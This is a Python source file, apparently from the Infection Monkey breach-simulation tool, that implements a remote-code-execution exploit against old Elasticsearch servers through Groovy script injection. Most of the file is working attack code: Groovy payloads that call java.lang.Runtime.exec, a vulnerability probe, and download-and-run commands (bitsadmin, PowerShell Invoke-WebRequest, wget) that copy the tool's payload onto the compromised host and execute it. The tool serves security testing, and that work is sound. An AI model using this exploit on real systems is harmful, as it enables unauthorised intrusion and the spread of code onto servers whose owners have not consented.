monkey/infection_monkey/exploit/elasticgroovy.py

103 lines
3.9 KiB
Python

"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from network.elasticfinger import ES_SERVICE, ES_PORT
from exploit.web_rce import WebRCE
from model import WGET_HTTP_UPLOAD
import re
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(WebRCE):
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = \
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
# Both commands are prepared for use in future development
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing\\\""
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
def exploit_host(self):
# self.exploit_host_linux()
if ES_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
return False
# Build url from host and elastic port(not https)
urls = self.build_potential_urls([[ES_PORT, False]], ['_search?pretty'])
vulnerable_urls = []
for url in urls:
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
if not self.set_host_arch(vulnerable_urls[0]):
return False
commands = {'windows': self.RDP_CMDLINE_HTTP,
'linux': WGET_HTTP_UPLOAD}
data = self.upload_monkey(vulnerable_urls[0], commands)
# We can't use 'if not' because response may be ''
if data is not False and data['response'] is False:
return False
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
return False
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False:
return False
return True
def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command
response = requests.get(url, data=payload)
result = self.get_results(response)
if not result:
return False
return result[0]
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None